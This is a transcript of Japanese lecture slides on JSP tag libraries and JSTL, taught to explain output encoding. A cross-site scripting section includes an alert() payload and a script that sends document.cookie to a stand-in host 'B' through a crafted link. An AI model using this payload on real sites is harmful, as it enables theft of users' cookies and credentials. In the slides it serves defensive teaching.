タグライブラリとJSP J2EE I 第10回 / 2005-01-15.

Slides:



Advertisements
Similar presentations
年度 J2EE II 稚内北星学園大学 情報メディア学部 専任講師 安藤 友晴. 2 この講義の位置づけ 3年前期の「データベース論 (J2EE I) 」に続く講義。 「データベース論」の講義内容を理解 していることが前提。
Advertisements

1 JSP の作成 JSF による Web アプリケーション 開発 第 4 回. 2 ここでの内容 JSF での JSP の作り方と動かし方につい て学ぶ。
1 なんとなく Ajax ~新しくて古い XMLHttp 川合孝典 (Kansai.pm) 2005/5/22.
DB(データベース)のおはなし 作成者:小野正広 DBと言っても、  ドラゴンボール ではないですぞ! 3/1/2017.
2004年度 サマースクール in 稚内 JSFによるWebアプリケーション開発
第11回JavaScriptゼミ セクション8-2 発表者 直江 宗紀.
PHPエディタによる 情報システム演習 01.
エンタープライズアプリケーション II 第10回 / 2006年7月23日
Mavenによる プロジェクト管理 近畿大学理工学部 情報学科3年  小野実.
JSFによるWebアプリケーション開発 第11回
Servlet J2EE I 第8回 /
ネットワーク情報活用 ILC Office / ILP KOBAYASHI Tomoko
稚内北星学園大学 情報メディア学部 助教授 安藤 友晴
第4回 個人の動画配信補足のためのWeb構築
Vulnerability of Cross-Site Scripting
タグライブラリ ソフトウェア特論 第6回.
卒研:データベースチーム 第4回 DOMを使った処理
4-3.基本的なPHPスクリプト 2004年6月24日(木) 大北高広 01T6010F.
セッション管理 J2EE I 第9回 /
HTTPプロトコルとJSP (1) データベース論 第3回.
タグライブラリとJSP J2EE II 第2回 2004年10月7日 (木).
JavaBeans とJSP データベース論 第5回.
JSFによるWebアプリケーション開発 第6回
エンタープライズアプリケーション II 第7回 / 2006年7月9日
JSPの作成 J2EE II 第3回 2005年4月10日.
ServletによるWebアプリ作成 入門
情報セキュリティ読本 四訂版 - IT時代の危機管理入門 -
Javaによる Webアプリケーション入門 第9回
Javaによる Webアプリケーション入門 第5回
第8章 Web技術とセキュリティ   岡本 好未.
2004年度 サマースクール in 稚内 JavaによるWebアプリケーション入門
2003年度 データベース論 安藤 友晴.
ガジェット・マスターへの まわり道!? ~Ajaxを理解しよう~
資料1-6 平成26年度 第1回技術委員会資料 支援ツール群整備方針
Webアプリケーションの方向性 データベース論 第13回.
2006年度 東京サテライト校 エンタープライズ・アプリケーション II
インラインスクリプトに対するデータフロー 解析を用いた XHTML 文書の構文検証
Javaによる Webアプリケーション入門 第6回
Javaによる Webアプリケーション入門 第7回
Jakarta Struts (2) ソフトウェア特論 第11回.
Javaによる Webアプリケーション入門 第2回
Javaによる Webアプリケーション入門 第11回
Servlet ソフトウェア特論 第7回.
XML Schema (1) ソフトウェア特論 第3回 /
Servlet J2EE I (データベース論) 第12回 /
Servlet データベース論 第6回.
JSFによるWebアプリケーション開発 第3回
基礎プログラミング演習 第12回.
情報コミュニケーション入門b 第11回 Web入門(2)
情報セキュリティ - IT時代の危機管理入門 -
情報基礎演習I(プログラミング) 第11回 7月12日 水曜5限 江草由佳
情報コミュニケーション入門e 第12回 Part1 Web入門(2)
JavaScriptを含んだHTML文書に対する データフロー解析を用いた構文検証手法の提案
Webアプリケーションと JSPの基本 ソフトウェア特論 第4回.
Javaによる Webアプリケーション入門 第8回
地域生活支援システムの開発 越田研究室 j0431 野津洋二.
Javaによる Webアプリケーション入門 第4回
Webページに動きを持たせるJavascript言語について 例題のプログラムを通して体験的に理解することとします。
WebアプリケーションとTomcat ― これまでの復習とこれからの予習 ―
JSPの基本 データベース論 第2回.
情報コミュニケーション入門e 第12回 Part1 Web入門(2)
Action Method の実装 J2EE II 第9回 2004年12月2日.
Jakarta Struts (1) ソフトウェア特論 第10回.
稚内北星学園大学 情報メディア学部 専任講師 安藤 友晴
JSPの基本 J2EE I (データベース論) 第8回 /
2008/7/16(情報コース)2008/7/22(通信コース) 住井
例題のプログラムを通して JavaScriptの仕組みを理解することとします。
JSFによるWebアプリケーション開発 第7回
MVCモデル2による Webアプリケーション
プログラミング 2 静的変数.
Presentation transcript:

タグライブラリとJSP J2EE I 第10回 / 2005-01-15

ここでの内容 タグライブラリの使い方、特にJSTLについて学ぶ。 クロスサイトスクリプティングについて学ぶ。

カスタムタグ JSPの中で定義できる独自のタグ。 スクリプトレットを使って記述するところをタグで表現できる。

タグライブラリ 複数のカスタムタグをまとめてひとつのパッケージにしたものを「タグライブラリ」と言う。 タグライブラリの構成 タグの処理を記述する Java のプログラム (通常は Jar ファイルで提供される) タグに関する情報を持つ Tag Library Descriptor (TLD)

さまざまなタグライブラリ 既製のタグライブラリがいくつかある。 JavaServer Pages Standard Tag Library (JSTL) 値の設定・制御構造 データベースへのアクセス、国際化、XMLの解析など Jakarta Taglibs JSF のタグライブラリ などなど

HTML中の特殊文字の扱い HTMLでは “<“, “>”, “&” といった文字は特別な意味を持つので、実態参照で表す。 文字 &

JSTLによるタグのエンコード (1) フォームから入力した文字列を出力するサンプル c:out を使うと、“<” や “>” や “&” といった文字をエンコードする(実態参照で表す)。 <p> c:out を使わない場合: <%= request.getParameter("title") %> </p> c:out を使った場合: <c:out value="${param.title}" />

JSTLによるタグのエンコード (2) 入力文字列 c:out を使った場合 c:out を使わない場合 <m>wakhok</m> c:out を使った場合 タグがエンコードされるので、”<“ や “>” はタグではなくただの文字ということになる。 c:out を使わない場合 wakhok “m” というタグが使われたことになる。

クロスサイトスクリプティング (1) フォームから入力されたタグが そのまま出力される ↓ 入力された文字が JavaScript だった場合 JavaScript が実行されてしまう!

<script>alert(“アホですか?”);</script> クロスサイトスクリプティング (2) 実例 <script>alert(“アホですか?”);</script> ↓ 警告画面が表示されてしまう

クロスサイトスクリプティング (3) cookie が盗まれる例 (1) ショッピングサイト “WAK” とその利用者が狙われる例 “WAK” の商品検索システムは、タグをエンコードしない。つまりクロスサイトスクリプティングを引き起こしてしまうようになっている。 “WAK” では、商品を購入するときに使うユーザ名とパスワードを cookie に保存している。

クロスサイトスクリプティング (4) cookie が盗まれる例 (2) ここで、怪しいサイト“A”が登場する。 “A” には、“WAK” へのリンクが貼られている。 その内容は WAK の Cookie を取得して、その Cookie を別のサイト “B” の getCookie.jsp に渡す JavaScript

クロスサイトスクリプティング (5) cookie が盗まれる例 (3) リンクの内容 <a href= “http://wak/search.jsp?p=(JavaScriptのタグ)”> Hなサイト </a>

クロスサイトスクリプティング (6) cookie が盗まれる例 (4) JavaScript の内容 <script> s = document.cookie; location.href = “http://B/getCookie.jsp?c=“+s; </script>

クロスサイトスクリプティング (7) cookie が盗まれる例 (5) “WAK” の利用者が サイト “A” へのリンクをうっかり押してしまった場合 リンク先の “WAK” のサイトが表示されるとき、同時に JavaScript を実行されて Cookie を盗まれる ユーザ名とパスワードを盗られたので、あとはやられ放題。

JSTLによるタグのエンコード (3) タグの入力を許可してしまうと、クロスサイトスクリプティングを引き起こすことが考えられる。 タグの入力を許可しない方がよい。 こうした処理をタグライブラリを使わずに書くには、スクリプトレットを使う必要がある。

警告 これまで述べた手順を外のサイトで試さないように。 「不正アクセス禁止法」に抵触するおそれがある。

タグライブラリを使う 利用するタグライブラリと、その接頭辞を指定 <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>

式言語 (Expression Language) ${var} 変数 var ${param.title} フォームから入力され たデータ "title" の値 ${book.author} book という Bean の author プロパティ

制御構造の例 <ul> <c:forEach var="book" items="${bookList.iterator}" > <li> <c:out value="${book.title}" /> / <c:out value="${book.author}" /> </li> </c:forEach> </ul>

JSTL の Tomcat への配置 JSTL の配布パッケージの lib フォルダに含まれている次の2つのjarファイルを WEB-INF/lib フォルダにコピーする。 jstl.jar standard.jar

参考文献・URL タグライブラリ関連 JavaServer Pages Standard Tag Library http://java.sun.com/products/jsp/jstl/index.jsp Jakarta Taglibs http://jakarta.apache.org/taglibs/index.html

参考文献・URL クロスサイトスクリプティング (1) セキュアプログラミング講座 独立行政法人情報処理推進機構が提供している、安全なプログラミングをするための講座。1-2 がクロスサイトスクリプティングの解説とその対策になっている。 http://www.ipa.go.jp/security/awareness/vendor/programming/index.html クロスサイトスクリプティング攻撃に対する電子商取引サイトの脆弱さの実体とその対策 高木 浩光,関口 智嗣,大蒔 和仁 高木浩光氏らによる2001年の論文。クロスサイトスクリプティングについてわかりやすく記述されている。 この論文の発表以降、これらの電子商取引サイトではクロスサイトスクリプティングの対策は十分にとられている(はずだ)が、この内容の重要性は変わっていない。 http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf

参考文献・URL クロスサイトスクリプティング (2) 安全なWebアプリ開発40箇条の鉄則 産業技術総合研究所の高木浩光氏のスライド。 安全なWebアプリケーション構築のためのポイントがコンパクトにまとめられている。必読。 http://java-house.jp/~takagi/paper/idg-jwd2003-takagi-dist.pdf